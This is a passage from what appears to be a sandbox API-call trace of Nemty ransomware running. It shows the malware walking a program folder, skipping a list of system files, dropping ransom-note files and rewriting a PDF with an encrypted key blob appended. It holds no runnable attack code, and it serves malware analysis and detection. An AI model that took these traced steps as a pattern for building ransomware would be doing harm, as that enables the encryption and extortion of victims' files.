lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0188.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0188.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0188.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.129] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23a737f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x23a737f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23a99950, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0188.129] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0188.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0188.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0188.129] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="ENU", cAlternateFileName="")) returned 1 [0188.129] lstrcmpiW (lpString1="ENU", lpString2=".") returned 1 [0188.129] lstrcmpiW (lpString1="ENU", lpString2="..") returned 1 [0188.129] lstrcmpiW (lpString1="ENU", lpString2="...") returned 1 [0188.130] lstrcmpiW (lpString1="ENU", lpString2="windows") returned -1 [0188.130] lstrcmpiW (lpString1="ENU", lpString2="$RECYCLE.BIN") returned 1 [0188.130] lstrcmpiW (lpString1="ENU", lpString2="rsa") returned -1 [0188.130] lstrcmpiW (lpString1="ENU", lpString2="NTDETECT.COM") returned -1 [0188.130] lstrcmpiW (lpString1="ENU", lpString2="ntldr") returned -1 [0188.130] lstrcmpiW (lpString1="ENU", lpString2="MSDOS.SYS") returned -1 [0188.130] lstrcmpiW (lpString1="ENU", lpString2="IO.SYS") returned -1 [0188.130] lstrcmpiW (lpString1="ENU", lpString2="boot.ini") returned 1 [0188.130] lstrcmpiW (lpString1="ENU", lpString2="boot.ini") returned 1 [0188.130] lstrcmpiW (lpString1="ENU", lpString2="AUTOEXEC.BAT") returned 1 [0188.130] lstrcmpiW (lpString1="ENU", lpString2="ntuser.dat") returned -1 [0188.130] lstrcmpiW (lpString1="ENU", lpString2="desktop.ini") returned 1 [0188.130] lstrcmpiW (lpString1="ENU", lpString2="CONFIG.SYS") returned 1 [0188.130] lstrcmpiW (lpString1="ENU", lpString2="RECYCLER") returned -1 [0188.130] lstrcmpiW (lpString1="ENU", lpString2="BOOTSECT.BAK") returned 1 [0188.130] lstrcmpiW (lpString1="ENU", lpString2="bootmgr") returned 1 [0188.130] lstrcmpiW (lpString1="ENU", lpString2="programdata") returned -1 [0188.130] lstrcmpiW (lpString1="ENU", lpString2="appdata") returned 1 [0188.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENU", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENU", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ENU", lpUsedDefaultChar=0x0) returned 3 [0188.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENU", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.130] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ENU", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ENU", lpUsedDefaultChar=0x0) returned 3 [0188.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0188.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340240 [0188.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0188.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0188.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0188.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0188.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0188.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0188.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0188.131] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0188.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0188.134] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.134] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0188.135] CloseHandle (hObject=0x2f0) returned 1 [0188.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0188.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0188.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0188.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0188.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0188.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0188.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0188.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.136] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0188.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.136] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.136] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0188.137] CloseHandle (hObject=0x2f0) returned 1 [0188.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0188.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0188.138] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x23c629d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23c629d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0188.138] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0188.138] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x23c629d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x23c629d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0188.138] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0188.138] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0188.138] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdf82, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0188.138] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0188.138] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0188.138] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0188.138] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0188.138] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.138] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0188.138] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0188.138] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0188.138] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0188.138] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0188.138] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0188.138] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0188.138] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.138] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0188.138] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0188.138] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0188.138] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0188.138] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.138] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0188.138] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0188.139] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0188.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0188.139] Sleep (dwMilliseconds=0x5) [0188.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23caec90, dwHighDateTime=0x1d561e8)) [0188.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23caec90, dwHighDateTime=0x1d561e8)) [0188.149] GetLastError () returned 0xb7 [0188.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.149] GetLastError () returned 0xb7 [0188.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.150] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.150] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.150] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.150] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="BiX5jzeHhvkmFpCN2J5v92QjW7nAThjNh2cLD2H46LoMZVM5vp1lfJ/Eqa9D3gPR\r\nw4Rv1bENQvUZ6o8qbKhSu32l23A6MA1jdSnPbn2eHHCssjJiKy1q25ci5s3C75Cd\r\nDdOZ1mpeW3YDKzh2duSB0sa6Ff7WNj2YO0yDUIKDCcVudFwaOGO4I8hYIbUnpwuz\r\nJqcPrsv0hhxd/84MTDhum7U+SFeY8Ql+fjRD4YL98nFsgXh/wB1QAb7tCdv42w27\r\neKejroEgqoZOaGR/d5HDy750PzqvUl5mR6T7qrcGXRHpxC0lRAwq4TGK37Xq7g9g\r\n3Gw/b+OLckII/BLwXkeTxg==\r\n", pcchString=0x653df5c) returned 1 [0188.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.150] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\enu\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.151] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=57218) returned 1 [0188.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xdf80) returned 0x6352c48 [0188.151] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.151] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xdf80, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xdf80, lpOverlapped=0x0) returned 1 [0188.182] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.182] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xdf80, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xdf80, lpOverlapped=0x0) returned 1 [0188.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.182] SetFilePointer (in: hFile=0x320, lDistanceToMove=57218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdf82 [0188.182] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.182] CloseHandle (hObject=0x320) returned 1 [0188.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.182] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.182] RtlAllocateHeap 